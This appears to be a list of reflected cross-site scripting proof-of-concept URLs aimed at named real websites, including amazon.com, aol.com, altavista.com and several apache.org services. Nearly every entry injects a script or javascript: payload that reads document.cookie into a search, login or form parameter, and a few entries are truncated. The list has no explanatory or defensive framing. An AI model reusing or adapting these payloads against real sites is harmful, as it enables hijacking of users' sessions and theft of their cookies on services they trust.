about.com
<A href="http://search.about.com/fullsearch.htm?terms="><script>alert(document.cookie)</script><x%20y">http://search.about.com/fullsearch.htm?terms="><script>alert(document.cookie)</script><x%20y="
 
activestate.com
http://www.activestate.com/Products/Download/Register.plex?id=TclDevKit&required=1&FirstName=&LastName=&EmailAddress="><script>alert(document.cookie)</script><x%20y="&Company=&submit.x=50&submit.y=17
 
adobe.com
http://busca.adobe.com/search?site=A...><!--&x=30&y=8
 
altavista.com
http://www.altavista.com/image/detail?oid=0&backurl=""><script>alert(document.cookie)</script>
 
amazon.com
http://www.amazon.com/exec/obidos/handle-generic-form/002-1202097-0513651?action=next-page&target=stores/help/self-service-email-form.html&cgi-post-result=1&dispatch=confirm&validation-form-field.contact-email="%20%20style='background-image:url(javascript:alert(document.cookie))'
 
amd.com
http://www.amd.com/force_404_<script...ookie)</script>
 
annoyances.org
http://www.annoyances.org/exec/htsearch?config=annoyances&restrict=&exclude=&words="><script>alert(document.cookie)</script><x%20y="&method=and&format=builtin-long&matchesperpage=10
 
aol.com
https://my.screenname.aol.com/_cqr/login/login.psp?mcState=initialized&siteState=yyyy";}%20alert(document.cookie);%20if(1){%20a="%20}%20
 
apache.org
http://cvs.apache.org/viewcvs.cgi/<s...ookie)</script>
<A href="http://mail-archives.apache.org/eyebrowse/SearchList?listName=user@"><script>alert(document.cookie)</script><x%20y">http://mail-archives.apache.org/eyebrowse/SearchList?listName=user@"><script>alert(document.cookie)</script><x%20y="
<A href="http://nagoya.apache.org/jira/secure/BrowseProject.jspa?id="><script>alert(document.cookie)</script><x%20y">http://nagoya.apache.org/jira/secure/BrowseProject.jspa?id="><script>alert(document.cookie)</script><x%20y="
http://wiki.apache.org/james/FrontPa...ookie)</script>
http://wiki.apache.org/cocoon/UserPr...bscribed_pages=